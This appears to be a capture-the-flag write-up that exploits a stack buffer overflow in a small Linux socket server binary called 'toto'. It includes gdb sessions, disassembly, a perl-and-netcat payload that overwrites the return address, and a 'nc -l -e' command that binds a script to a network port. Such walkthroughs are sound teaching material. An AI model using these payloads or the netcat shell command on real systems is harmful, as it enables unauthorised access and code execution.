We downloaded a file called "toto",
# file toto toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped # strings toto /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used socket exit htons perror fork listen strlen bind read memcpy strcat bzero system atoi close accept __libc_start_main write snprintf GLIBC_2.0 PTRh@ [^_] ERROR writing to socket nc -l -e /tmp/showpass.sh -p ERROR opening socket ERROR on binding ERROR on accept Error on fork Adieu l'ami, dis-voir c'que c'est ton mot de passe: De dieu, tu t'en souviens pas? C'est balot! # ./toto 1234
On a client, we get:
> nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla De dieu, tu t'en souviens pas? C'est balot!
It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):
# gdb -q ./toto (gdb) set follow-fork-mode child (gdb) set disassembly-flavor intel (gdb) r 1234 Starting program: /root/toto 1234
On the client, let's do:
> echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And the server segfaults:
Program received signal SIGSEGV, Segmentation fault. [Switching to process 1962] 0x41414141 in ?? ()
The backtrace is definitely screwed, so we just have a quick look:
0804888c <checkPass>: 804888c: 55 push ebp 804888d: 89 e5 mov ebp,esp 804888f: 83 ec 28 sub esp,0x28 8048892: c7 44 24 08 20 00 00 mov DWORD PTR [esp+0x8],0x20 <------ 8048899: 00 804889a: 8d 45 f0 lea eax,[ebp-0x10] 804889d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80488a1: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80488a4: 89 04 24 mov DWORD PTR [esp],eax 80488a7: e8 48 fd ff ff call 80485f4 <read@plt> 80488ac: c9 leave 80488ad: c3 ret
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
(gdb) b *0x80488ad Breakpoint 1 at 0x80488ad (gdb) b *0x80488ad Breakpoint 1 at 0x80488ad (gdb) c Breakpoint 1, 0x080488ad in checkPass () Current language: auto; currently asm (gdb) x /16wx $esp 0xbfe019ac: 0x41414141 0x0000000a 0x00000007 0xbfe01afc 0xbfe019bc: 0xb7f02ff4 0xb7ee6b0c 0x00000001 0xbfe01a44 0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000 0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000
So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:

So we are going to write the address to return there and break before the system to see the content:
> echo `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And on the server side:
Breakpoint 2, 0x0804887e in pwnthis () (gdb) x /wx $esp 0xbf9e3c64: 0xbf9e3c83 (gdb) x /s 0xbf9e3c83 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128
Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128"
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.
